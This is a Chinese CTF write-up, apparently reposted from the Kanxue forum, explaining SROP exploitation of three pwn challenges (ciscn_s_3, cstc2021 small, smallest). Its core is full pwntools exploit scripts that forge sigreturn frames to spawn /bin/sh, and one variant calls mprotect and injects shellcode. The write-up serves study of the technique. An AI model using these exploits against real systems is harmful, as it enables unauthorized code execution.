本文为看雪论坛优秀文章
看雪论坛作者ID:e*16 a
一
注意
1.系统调用是内核态所做的事情
2.sigreturn是系统调用,调用号在64位下位15(也就是说在没有sigreturn系统调用地址的时候,只有rax=15且具有syscall才能进行sigreturn系统调用)
3.在写exp的时候,需要写该程序的arch(context.log_level = "amd64")
二
题目详细介绍
1.ciscn_s_3
(1)看ida
(2)泄露地址
payload = "/bin/shx00"
payload = payload.ljust(0x10,"x00")+p64(0x4004ed)
p.send(payload)
p.recv(0x20)
binsh_addr = u64(p.recv(8))-280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)
(3)构造frame
frame = SigreturnFrame()
frame.rax = 59 #constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x400501 #syscall
payload = "/bin/shx00" + p64(0) + p64(0x4004DA) + p64(0x400501) + str(frame) #mov rax,15 = 0x4004DA
p.send(payload)
2.cstc2021 small
(1)看ida
这题只有一个read系统调用,这就需要我们去伪造一个sigreturn系统调用然后让其pop给各个寄存器我们伪造的值。
(2)思路
frame = SigreturnFrame() #伪造
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402500
frame.rdx = 0x300
frame.rip = 0x40102B
frame.rsp = 0x402500
frame.rbp = 0x402500
payload = "a"*0x18 + p64(vuln) + p64(0x40102B) + str(frame) # syscall = 0x40102B
p.send(payload)
p.sendline("a"*14) #
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x402500
frame.rip = 0x40102B
frame.rsi = 0
frame.rdx = 0
payload = "x00"*8 + p64(vuln) + p64(0x40102b) + str(frame)
p.sendline(payload)
p.send("q"*8+"/bin/sh")
p.interactive()
3.smallest
exp1:
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
def g():
gdb.attach(p)
input()
syscall = 0x4000BE
main = 0x4000B0
payload1 = p64(main)*3
p.send(payload1)
p.send("xB3") #rax = 1
stack_addr = u64(p.recv()[8:16])
success("stack_addr:"+hex(stack_addr))
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall
payload2 = p64(main) + p64(0) + str(frame)
p.send(payload2)
p.send(p64(syscall)+"a"*7) #rax = 15
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr+0x200 # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall
payload3 = p64(main) + p64(0) + str(frame)
payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/shx00"
p.send(payload3)
p.send(p64(syscall)+"a"*7)
p.interactive()
这几个月我一直不明白为什么要加p64(0),其实是因为防止调用sigreturn时所伪造的寄存器的值发生改变。
exp2
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
def g():
gdb.attach(p)
input()
syscall = 0x4000BE
main = 0x4000B0
ret = 0x4000C0
payload1 = p64(main)*3
p.send(payload1)
p.send("xB3") #rax = 1
stack_addr = u64(p.recv()[8:16])
success("stack_addr:"+hex(stack_addr))
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall
payload2 = p64(main) + p64(0) + p64(0) + str(frame) ############## here
p.send(payload2)
p.send(p64(ret)+"xBEx00x40x00x00x00x00") #rax = 15 here
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr+0x200 # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall
payload3 = p64(main) + p64(0) + p64(0) + str(frame)
payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/shx00"
p.send(payload3)
p.send(p64(ret)+"xBEx00x40x00x00x00x00")
p.interactive()
exp3
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
main = 0x4000B0
syscall = 0x4000BE
ret = 0x4000C0
def g():
gdb.attach(p)
input()
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect #10
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = 0x400128
frame.rip = syscall
payload1 = p64(main) + p64(0) + str(frame)
p.send(payload1)
p.send(p64(syscall) + "a"*7) #rax = 15
#mprotect finished
shellcode = asm('''
mov rax,59
mov rdi,0x68732f6e69622f
xor rsi,rsi
xor rdx,rdx
push rdi
mov rdi,rsp
syscall
''')
payload = p64(0x400138) + shellcode
p.send(payload)
p.interactive()
看雪ID:e*16 a
https://bbs.kanxue.com/user-home-922338.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):一道SROP漏洞利用的Pwn题